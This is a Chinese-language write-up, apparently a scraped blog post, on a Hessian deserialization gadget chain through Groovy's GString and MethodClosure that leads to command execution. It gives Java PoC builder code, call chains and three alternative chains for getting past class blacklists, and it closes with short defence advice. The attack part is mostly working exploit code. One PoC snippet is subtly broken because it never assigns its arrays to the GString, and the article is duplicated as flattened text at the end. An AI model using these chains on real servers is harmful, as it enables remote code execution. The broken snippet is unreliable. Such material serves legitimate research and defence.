Hessian Groovy全新链条分析与黑名单绕过
字数 1691 2025-12-25 12:11:51

Hessian Groovy 反序列化漏洞分析与利用教学

1. 背景介绍

在反序列化场景下,应用通常会设置多个黑名单条件来阻止反序列化攻击链。当服务器环境不允许进行JNDI等出网操作时,需要挖掘新的链条来构造序列化POC。本文研究在Groovy依赖下的代码执行链条。

2. Hessian Groovy 新链条分析

2.1 传统链条与改进

传统的Hessian Groovy链只能实现JNDI注入,而新发现的链条可以直接实现命令执行。groovy1链使用了动态代理与ConvertedClosure,而新链则不需要这些操作,使用HashMap作为入口即可。

2.2 完整调用链

java.util.concurrent.ConcurrentHashMap: void readObject
↓
groovy.lang.GString: int hashCode
↓
groovy.lang.GString: java.lang.String toString
↓
groovy.lang.GString: java.io.Writer writeTo
↓
groovy.lang.Closure: java.lang.Object call
↓
groovy.lang.Closure: java.lang.Object doCall

3. 正向分析

3.1 触发流程

  1. HashMap触发:Gadget中HashMap会调用groovy.lang.GString的hashCode方法
  2. toString调用:hashCode方法会调用自身的toString方法
  3. writeTo调用:toString方法会调用自身的writeTo方法
  4. Closure执行:writeTo方法中调用groovy.lang.Closure#call方法

3.2 关键代码分析

在writeTo方法中调用了groovy.lang.Closure#call,此处需要满足maximumNumberOfParameters为0才会调用无参构造方法。

最终调用doCall方法,groovy.lang.Closure是一个抽象类,其继承类MethodClosure实现了doCall方法,且参数可控。

4. 命令执行原理

4.1 执行链分析

通过构造InvokerHelper.invokeMethod("open -na calculator", "execute", arguments)实现命令执行:

  1. java.lang.String不是NULL,object instanceof Class为false
  2. "calc" instanceof GroovyObject为false条件成立
  3. 进入invokePojoMethod(object, methodName, arguments)

4.2 Groovy扩展方法机制

调用逻辑为MetaClass接收:

  • receiver = "calc"
  • method = "execute"
  • args = null

Groovy会扫描所有已注册的Extension Module,其中包括:
org.codehaus.groovy.runtime.ProcessGroovyMethods#execute(java.lang.String)

Extension Method规则
如果一个static方法的第一个参数类型与当前对象类型匹配,则被当作实例方法使用。

等价变换过程:

ProcessGroovyMethods.execute("calc")
↓
"calc".execute()

5. POC构造方法

5.1 基础构造步骤

public Object getObject(final String command) throws Exception {
    // 1. 创建MethodClosure对象
    MethodClosure closure = new MethodClosure(command, "execute");
    
    // 2. 设置参数数量为0
    Reflections.setFieldValue(closure, "maximumNumberOfParameters", 0);
    
    // 3. 创建GStringImpl实例
    GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
    
    // 4. 设置values数组
    Object[] values = new Object[3];
    values[0] = closure;
    Reflections.setFieldValue(gString, "values", values);
    
    // 5. 设置strings数组
    String[] strings = new String[3];
    strings[0] = "triplexlove";
    Reflections.setFieldValue(gString, "strings", strings);
    
    // 6. 返回HashMap结构
    return Entry2HashFragment.makeConMap(gString, gString);
}

5.2 反射工具类

需要实现的Reflections工具类方法:

  • setFieldValue(Object obj, String fieldName, Object value)
  • createWithoutConstructor(Class clazz)

6. 黑名单绕过技术

6.1 替代触发链

方案一:BadAttributeValueExpException链

javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)
→ groovy.lang.GString: java.lang.String toString()
→ groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)
→ groovy.lang.Closure: java.lang.Object call(java.lang.Object)

构造代码

public Object getObject(String command) throws Exception {
    MethodClosure closure = new MethodClosure(command, "execute");
    Reflections.setFieldValue(closure, "maximumNumberOfParameters", 0);
    
    GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
    Object[] values = new Object[3];
    values[0] = closure;
    String[] strings = new String[3];
    strings[0] = "triplexlove";
    
    BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(exp, "val", gString);
    return exp;
}

方案二:JCheckBox链

javax.swing.JCheckBox: void readObject(java.io.ObjectInputStream)
→ javax.swing.JCheckBox: void updateUI()
→ javax.swing.AbstractButton: void setUI(javax.swing.plaf.ButtonUI)
→ javax.swing.JComponent: void setUI(javax.swing.plaf.ComponentUI)
→ javax.swing.JComponent: void uninstallUIAndProperties()
→ javax.swing.JComponent: void putClientProperty(java.lang.Object,java.lang.Object)
→ groovy.lang.GString: java.lang.String toString()
→ groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)
→ groovy.lang.Closure: java.lang.Object call()

方案三:Xerces Token链

javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)
→ com.sun.org.apache.xerces.internal.impl.xpath.regex.Token: java.lang.String toString()
→ com.sun.org.apache.xerces.internal.impl.xpath.regex.Token$UnionToken: java.lang.String toString(int)
→ groovy.lang.ListWithDefault: java.lang.Object get(int)
→ groovy.util.ObservableList: java.lang.Object set(int,java.lang.Object)
→ groovy.lang.Closure: java.lang.Object call(java.lang.Object)

7. 技术要点总结

7.1 关键依赖

  • Groovy库必须存在于目标classpath中
  • 需要反射操作支持

7.2 利用条件

  1. 目标系统存在Groovy依赖
  2. 反序列化入口点可用
  3. 黑名单未完全覆盖所有触发链

7.3 防御建议

  1. 严格限制反序列化操作
  2. 实施完整的类黑名单
  3. 使用白名单机制控制可反序列化的类
  4. 及时更新Groovy版本

8. 实际应用场景

该技术适用于:

  • 红队测试中的反序列化漏洞利用
  • 安全研究人员分析Groovy相关漏洞
  • 开发人员理解反序列化安全风险

通过掌握这些技术细节,安全人员可以更好地评估和防御相关安全威胁。

Hessian Groovy 反序列化漏洞分析与利用教学 1. 背景介绍 在反序列化场景下,应用通常会设置多个黑名单条件来阻止反序列化攻击链。当服务器环境不允许进行JNDI等出网操作时,需要挖掘新的链条来构造序列化POC。本文研究在Groovy依赖下的代码执行链条。 2. Hessian Groovy 新链条分析 2.1 传统链条与改进 传统的Hessian Groovy链只能实现JNDI注入,而新发现的链条可以直接实现命令执行。groovy1链使用了动态代理与ConvertedClosure,而新链则不需要这些操作,使用HashMap作为入口即可。 2.2 完整调用链 3. 正向分析 3.1 触发流程 HashMap触发 :Gadget中HashMap会调用groovy.lang.GString的hashCode方法 toString调用 :hashCode方法会调用自身的toString方法 writeTo调用 :toString方法会调用自身的writeTo方法 Closure执行 :writeTo方法中调用groovy.lang.Closure#call方法 3.2 关键代码分析 在writeTo方法中调用了groovy.lang.Closure#call,此处需要满足maximumNumberOfParameters为0才会调用无参构造方法。 最终调用doCall方法,groovy.lang.Closure是一个抽象类,其继承类MethodClosure实现了doCall方法,且参数可控。 4. 命令执行原理 4.1 执行链分析 通过构造 InvokerHelper.invokeMethod("open -na calculator", "execute", arguments) 实现命令执行: java.lang.String 不是NULL, object instanceof Class 为false "calc" instanceof GroovyObject 为false条件成立 进入 invokePojoMethod(object, methodName, arguments) 4.2 Groovy扩展方法机制 调用逻辑为MetaClass接收: receiver = "calc" method = "execute" args = null Groovy会扫描所有已注册的Extension Module,其中包括: org.codehaus.groovy.runtime.ProcessGroovyMethods#execute(java.lang.String) Extension Method规则 : 如果一个static方法的第一个参数类型与当前对象类型匹配,则被当作实例方法使用。 等价变换过程: 5. POC构造方法 5.1 基础构造步骤 5.2 反射工具类 需要实现的Reflections工具类方法: setFieldValue(Object obj, String fieldName, Object value) createWithoutConstructor(Class clazz) 6. 黑名单绕过技术 6.1 替代触发链 方案一:BadAttributeValueExpException链 构造代码 : 方案二:JCheckBox链 方案三:Xerces Token链 7. 技术要点总结 7.1 关键依赖 Groovy库必须存在于目标classpath中 需要反射操作支持 7.2 利用条件 目标系统存在Groovy依赖 反序列化入口点可用 黑名单未完全覆盖所有触发链 7.3 防御建议 严格限制反序列化操作 实施完整的类黑名单 使用白名单机制控制可反序列化的类 及时更新Groovy版本 8. 实际应用场景 该技术适用于: 红队测试中的反序列化漏洞利用 安全研究人员分析Groovy相关漏洞 开发人员理解反序列化安全风险 通过掌握这些技术细节,安全人员可以更好地评估和防御相关安全威胁。